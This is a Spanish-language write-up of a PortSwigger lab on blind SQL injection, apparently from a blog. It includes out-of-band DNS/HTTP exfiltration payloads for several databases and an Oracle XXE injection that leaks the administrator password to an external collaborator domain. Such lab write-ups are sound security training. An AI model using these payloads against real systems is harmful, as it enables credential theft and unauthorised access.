Blind SQL injection with out-of-band data exfiltration writeup

Descripción

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

Blind SQL injection with out-of-band data exfiltration writeup

Esta vez el laboratorio no muestra errores y realiza la consulta SQL de forma asíncrona, por lo que no podremos hacer un ‘error-based injection‘ ni un ‘injection with time delays‘. Buscaremos en la SQLi cheatsheet el código para hacer un DNS lookup:

Oracle(XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

The following technique works on fully patched Oracle installations, but requires elevated privileges:SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
Microsoftexec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
PostgreSQLcopy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
MySQLThe following techniques work on Windows only:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'

Entraremos en la página y, al actuaizar, veremos la ‘TrackingId’ cookie. Probaremos el código del laboratorio anterior:

' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://bds39xr3q0p8rz39jryj1qd72y8pwgk5.oastify.com/"> %remote;]>'),'/l') FROM dual--

Tenemos respuesta, por lo que esta base de datos es Oracle. Modificaremos el payload para obtener la contraseña del usuario ‘administrator’. En el caso de Oracle, la cheat sheet de SQLi nos da la siguiente plantilla:

SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual

Como la descripción del laboratorio nos da toda la información de la base de datos, realizaremos los siguientes cambios:

‘ UNION SELECT EXTRACTVALUE(xmltype(‘<?xml version=»1.0″ encoding=»UTF-8″?><!DOCTYPE root [ <!ENTITY % remote SYSTEM «http://’||(SELECT password FROM users WHERE username=’administrator’)||’bds39xr3q0p8rz39jryj1qd72y8pwgk5.oastify.com/»> %remote;]>’),’/l’) FROM dual–

La petición antes de enviarla tendremos que codificarla como URL con Ctrl + U o Click derecho -> Convert selection -> URL -> URL-encode key characters. Tras esto nos llegará al Collaborator la siguiente información:

En este caso, la contraseña estará en el subdominio. A ‘opcrgk0lxqdk5ac816l1bds39xr3q0p8rz39jryj1qd72y8pwgk5.oastify.com’ tenemos que quitarle ‘bds39xr3q0p8rz39jryj1qd72y8pwgk5.oastify.com’, que es nuestra URL del ‘Collaborator’. Obteniendo así ‘opcrgk0lxqdk5ac816l1’, que es la contraseña.

Nota: Esto se debe por la plantilla que hemos utilizado ‘"http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"‘, la Query ha devuelto el resultado justo antes del ‘BURP-COLLABORATOR-SUBDOMAIN‘. En la solución oficial de PortSwigger, para diferenciar mejor qué es la contraseña y qué es la URL del ‘Collaborator’ lo separan con un ‘.’.

Al volver a la página web, entrar en ‘My account’ e iniciar sesión con el usuario ‘administrator’ y la contraseña ‘opcrgk0lxqdk5ac816l1’ habremos completado el laboratorio:

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *